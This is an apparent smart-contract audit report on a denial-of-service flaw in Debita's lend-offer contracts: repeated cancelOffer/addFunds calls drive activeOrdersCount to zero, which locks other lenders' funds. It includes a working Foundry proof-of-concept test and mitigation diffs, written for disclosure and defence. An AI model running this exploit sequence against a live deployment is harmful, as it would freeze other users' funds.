Skip to content

Latest commit

 

History

History
342 lines (275 loc) · 14.3 KB

053.md

File metadata and controls

342 lines (275 loc) · 14.3 KB

Smooth Sapphire Barbel

High

Attacker can DoS in DebitaLendOffer-Implementation::cancelOffer Locking Users Funds

Summary

A Denial of Service (DoS) vulnerability exists in the DebitaLendOffer-Implementation::cancelOffer function, which can lead to funds being permanently locked in the contract. This issue stems from improper handling of deleted orders and a lack of validation during state transitions.

Vulnerability Details

  1. Improper Handling of Order State Transitions:

    • The vulnerability is triggered when an attacker creates a lend order via DebitaLendOfferFactory::createLendOrder and later cancels it using DebitaLendOffer-Implementation::cancelOffer.
    • After cancellation, the attacker can still add funds to the order using DebitaLendOffer-Implementation::addFunds, despite the order no longer being active. This occurs because addFunds does not validate the order's isActive state.
    • The attacker can then call cancelOffer again on the same order, which internally calls DebitaLendOfferFactory::deleteOrder. Since cancelOffer does not check the order's state, it allows the attacker to update state variables incorrectly, including LendOrderIndex, allActiveLenderOrders, and activeOrdersCount.

  2. Incorrect Array Removal:

    • When an order is canceled, the DebitaLendOfferFactory contract attempts to remove it from the LendOrderIndex and allActiveLenderOrders arrays. However, instead of properly popping the elements from these arrays, it sets the respective entries to zero.
    • This results in "sparse" arrays, with zeroed-out elements still occupying positions. Consequently, the activeOrdersCount is incorrectly decremented, potentially reaching zero even though there are still active orders.

  3. Denial of Service (DoS) and Fund Locking:

    • If activeOrdersCount reaches zero due to this flawed removal mechanism, subsequent calls to cancelOffer will fail due to an underflow error.
    • This prevents further deletions or cancellations of lend orders, effectively locking funds in the contract.
    • Even if new lend offers are created to increment the activeOrdersCount, the attacker could exploit the vulnerability by back-running transactions to reset the counter back to zero, thereby perpetuating the DoS condition.
    function cancelOffer() public onlyOwner nonReentrant {
 // @> Missing isActive check
        uint availableAmount = lendInformation.availableAmount;
        lendInformation.perpetual = false;
        lendInformation.availableAmount = 0;

        require(availableAmount > 0, "No funds to cancel");

        isActive = false;

        SafeERC20.safeTransfer(
            IERC20(lendInformation.principle),
            msg.sender,
            availableAmount
        );
     
        IDLOFactory(factoryContract).emitDelete(address(this));
        IDLOFactory(factoryContract).deleteOrder(address(this));
        // emit canceled event on factory
    }
    function addFunds(uint amount) public nonReentrant {
 // @> Missing isActive check
        require(
            msg.sender == lendInformation.owner ||
                IAggregator(aggregatorContract).isSenderALoan(msg.sender),
            "Only owner or loan"
        );
        SafeERC20.safeTransferFrom(
            IERC20(lendInformation.principle),
            msg.sender,
            address(this),
            amount
        );
        lendInformation.availableAmount += amount;
        IDLOFactory(factoryContract).emitUpdate(address(this));
    }
    function deleteOrder(address _lendOrder) external onlyLendOrder {
        uint index = LendOrderIndex[_lendOrder];
@>      LendOrderIndex[_lendOrder] = 0;

        // switch index of the last borrow order to the deleted borrow order
        allActiveLendOrders[index] = allActiveLendOrders[activeOrdersCount - 1];
        LendOrderIndex[allActiveLendOrders[activeOrdersCount - 1]] = index;

        // take out last borrow order

@>      allActiveLendOrders[activeOrdersCount - 1] = address(0);

        activeOrdersCount--;
    }

Root Cause

In DebitaLendOffer-Implementation::cancelOffer and DebitaLendOffer-Implementation::addFunds , there is no check to ensure the order is active before interacting with it, allowing funds to be added or orders to be deleted after they are marked inactive.

In DebitaLendOfferFactory::deleteOrder array elements in LendOrderIndex and allActiveLenderOrders are zeroed out instead of properly removed, leading to array sparsity and potential underflow of activeOrdersCount.

Internal pre-conditions

  1. Existing lending orders.

External pre-conditions

No response

Attack Path

  1. The attacker creates an order via DebitaLendOfferFactory::createLendOrder.
  2. The attacker repeatedly calls cancelOffer and addFunds to decrement DebitaLendOfferFactory::activeOrdersCount until it reaches zero.

Impact

  • Denial of Service (DoS): The primary impact of this vulnerability is a denial of service, where legitimate users are unable to cancel or delete their orders. This prevents them from reclaiming or reusing their funds.
  • Locked Funds: Funds that are added to deleted orders cannot be retrieved, causing them to be stuck in the contract.
  • Incorrect State Reporting: The getActiveOrders function may return an empty array, even though there are active orders in the system.

PoC

In the following test, two distinct users create lender offers. The first lender calls cancelOffer, then adds funds to the deleted order with addFunds, and calls cancelOffer again on the same order. This sequence causes DebitaLendOfferFactory::activeOrdersCount to be reduced to zero. When the second user attempts to call cancelOffer, the transaction will revert due to an underflow when trying to decrement activeOrdersCount with activeOrdersCount--.

pragma solidity ^0.8.0;

import {Test, console, stdError} from "forge-std/Test.sol";
import {veNFTEqualizer} from "@contracts/Non-Fungible-Receipts/veNFTS/Equalizer/Receipt-veNFT.sol";

import {veNFTVault} from "@contracts/Non-Fungible-Receipts/veNFTS/Equalizer/veNFTEqualizer.sol";
import {DBOFactory} from "@contracts/DebitaBorrowOffer-Factory.sol";
import {DBOImplementation} from "@contracts/DebitaBorrowOffer-Implementation.sol";
import {DLOFactory} from "@contracts/DebitaLendOfferFactory.sol";
import {DLOImplementation} from "@contracts/DebitaLendOffer-Implementation.sol";
import {DebitaV3Aggregator} from "@contracts/DebitaV3Aggregator.sol";
import {Ownerships} from "@contracts/DebitaLoanOwnerships.sol";
import {auctionFactoryDebita} from "@contracts/auctions/AuctionFactory.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {DynamicData} from "../../interfaces/getDynamicData.sol";
// import ERC20
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
import {DebitaV3Loan} from "@contracts/DebitaV3Loan.sol";
import {DebitaIncentives} from "@contracts/DebitaIncentives.sol";
import {DebitaV3Loan} from "@contracts/DebitaV3Loan.sol";

contract DosDeleteLendOrder is Test {
    veNFTEqualizer public receiptContract;
    DBOFactory public DBOFactoryContract;
    DLOFactory public DLOFactoryContract;
    Ownerships public ownershipsContract;
    DebitaIncentives public incentivesContract;
    DebitaV3Aggregator public DebitaV3AggregatorContract;
    auctionFactoryDebita public auctionFactoryDebitaContract;
    DynamicData public allDynamicData;
    DebitaV3Loan public DebitaV3LoanContract;
    ERC20Mock public AEROContract;
    ERC20Mock public USDCContract;
    ERC20Mock public wETHContract;
    DLOImplementation public LendOrder;
    DLOImplementation public SecondLendOrder;
    DLOImplementation public ThirdLendOrder;

    DBOImplementation public BorrowOrder;

    address AERO;
    address USDC;
    address wETH;
    address borrower = address(0x02);
    address firstLender = address(this);
    address secondLender = 0x5C235931376b21341fA00d8A606e498e1059eCc0;
    address thirdLender = 0x25ABd53Ea07dc7762DE910f155B6cfbF3B99B296;
    address buyer = 0x5C235931376b21341fA00d8A606e498e1059eCc0;

    address feeAddress = address(this);

    uint receiptID;

    function setUp() public {
        allDynamicData = new DynamicData();
        ownershipsContract = new Ownerships();
        incentivesContract = new DebitaIncentives();
        DBOImplementation borrowOrderImplementation = new DBOImplementation();
        DBOFactoryContract = new DBOFactory(address(borrowOrderImplementation));
        DLOImplementation proxyImplementation = new DLOImplementation();
        DLOFactoryContract = new DLOFactory(address(proxyImplementation));
        auctionFactoryDebitaContract = new auctionFactoryDebita();
        AEROContract = new ERC20Mock();
        deal(address(AEROContract), address(this), 1000e18, true);
        USDCContract = new ERC20Mock();
        wETHContract = new ERC20Mock();

        DebitaV3Loan loanInstance = new DebitaV3Loan();
        DebitaV3AggregatorContract = new DebitaV3Aggregator(
            address(DLOFactoryContract),
            address(DBOFactoryContract),
            address(incentivesContract),
            address(ownershipsContract),
            address(auctionFactoryDebitaContract),
            address(loanInstance)
        );

        AERO = address(AEROContract);
        USDC = address(USDCContract);
        wETH = address(wETHContract);

        ownershipsContract.setDebitaContract(
            address(DebitaV3AggregatorContract)
        );
        auctionFactoryDebitaContract.setAggregator(
            address(DebitaV3AggregatorContract)
        );
        DLOFactoryContract.setAggregatorContract(
            address(DebitaV3AggregatorContract)
        );
        DBOFactoryContract.setAggregatorContract(
            address(DebitaV3AggregatorContract)
        );

        incentivesContract.setAggregatorContract(
            address(DebitaV3AggregatorContract)
        );
        DebitaV3AggregatorContract.setValidNFTCollateral(
            address(receiptContract),
            true
        );

        deal(AERO, firstLender, 1000e18, false);
        deal(AERO, secondLender, 1000e18, false);
        deal(AERO, borrower, 1000e18, false);
        deal(USDC, borrower, 1000e18, false);
        deal(wETH, secondLender, 1000e18, false);
        deal(wETH, thirdLender, 1000e18, false);
    }

    function testDosDeleteLendOffer() public {
        //---------------------------------------//
        // Create 2 lend offers
        //---------------------------------------//

        bool[] memory oraclesActivated = allDynamicData.getDynamicBoolArray(2);
        uint[] memory ltvs = allDynamicData.getDynamicUintArray(2);
        uint[] memory ratio = allDynamicData.getDynamicUintArray(2);
        uint[] memory ratioLenders = allDynamicData.getDynamicUintArray(1);
        uint[] memory ltvsLenders = allDynamicData.getDynamicUintArray(1);
        bool[] memory oraclesActivatedLenders = allDynamicData
            .getDynamicBoolArray(1);

        address[] memory acceptedPrinciples = allDynamicData
            .getDynamicAddressArray(2);
        address[] memory acceptedCollaterals = allDynamicData
            .getDynamicAddressArray(1);
        address[] memory oraclesCollateral = allDynamicData
            .getDynamicAddressArray(1);
        address[] memory oraclesPrinciples = allDynamicData
            .getDynamicAddressArray(2);

        vm.startPrank(firstLender);
        AEROContract.approve(address(DLOFactoryContract), 5e18);
        ratioLenders[0] = 5e17;

        address lendOrderAddress = DLOFactoryContract.createLendOrder(
            false,
            oraclesActivatedLenders,
            false,
            ltvsLenders,
            1350,
            8640000,
            86400,
            acceptedCollaterals,
            AERO,
            oraclesCollateral,
            ratioLenders,
            address(0x0),
            5e18
        );
        vm.stopPrank();

        vm.startPrank(secondLender);
        wETHContract.approve(address(DLOFactoryContract), 5e18);
        ratioLenders[0] = 4e17;

        address SecondlendOrderAddress = DLOFactoryContract.createLendOrder(
            false,
            oraclesActivatedLenders,
            false,
            ltvsLenders,
            1000,
            9640000,
            86400,
            acceptedCollaterals,
            wETH,
            oraclesCollateral,
            ratioLenders,
            address(0x0),
            5e18
        );
        vm.stopPrank();

        LendOrder = DLOImplementation(lendOrderAddress);
        SecondLendOrder = DLOImplementation(SecondlendOrderAddress);

        //-----------------------------------------------------//
        // Call cancelOffer -> addFunds -> cancelOffer -> ...
        //-----------------------------------------------------//

        vm.startPrank(firstLender);

        for (uint i = 0; i < 2; i++) {
          LendOrder.cancelOffer();
          uint amount = 1 wei;
          AEROContract.approve(address(LendOrder), amount);
          LendOrder.addFunds(amount);
        }

        vm.stopPrank();

        //-------------------------------------------------------------------//
        // When the second lender attempts to cancel the offer, it reverts
        //-------------------------------------------------------------------//

        vm.startPrank(secondLender);

        vm.expectRevert(stdError.arithmeticError);
        SecondLendOrder.cancelOffer();

        vm.stopPrank();
    }
}

Mitigation

  1. Ensure Only Active Offers Can Be Modified: Prevent adding funds or canceling inactive offers by checking the isActive state.
    function addFunds(uint amount) public nonReentrant {
+     require(isActive, "Offer is not active");
      ...
    }
    function cancelOffer() public onlyOwner nonReentrant {
+     require(isActive, "Offer is not active");
      ...
    }
  1. Fix deleteOrder Array Handling: Instead of zeroing out elements, properly remove them using pop() to avoid array sparsity and underflow.